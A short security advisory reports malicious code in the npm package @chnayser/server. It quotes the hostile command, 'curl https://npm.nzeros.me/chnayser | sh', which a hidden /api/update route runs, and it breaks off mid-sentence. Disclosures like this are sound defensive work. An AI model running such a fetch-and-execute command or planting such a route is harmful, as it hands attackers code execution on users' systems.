Malicious code in @chnayser/server (npm)

Source: amazon-inspector bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65 The package's Express server started via the advertised startServer/createApp entry points mounts a GET route at /api/update whose handler executes curl https://npm.nzeros.me/chnayser | sh via...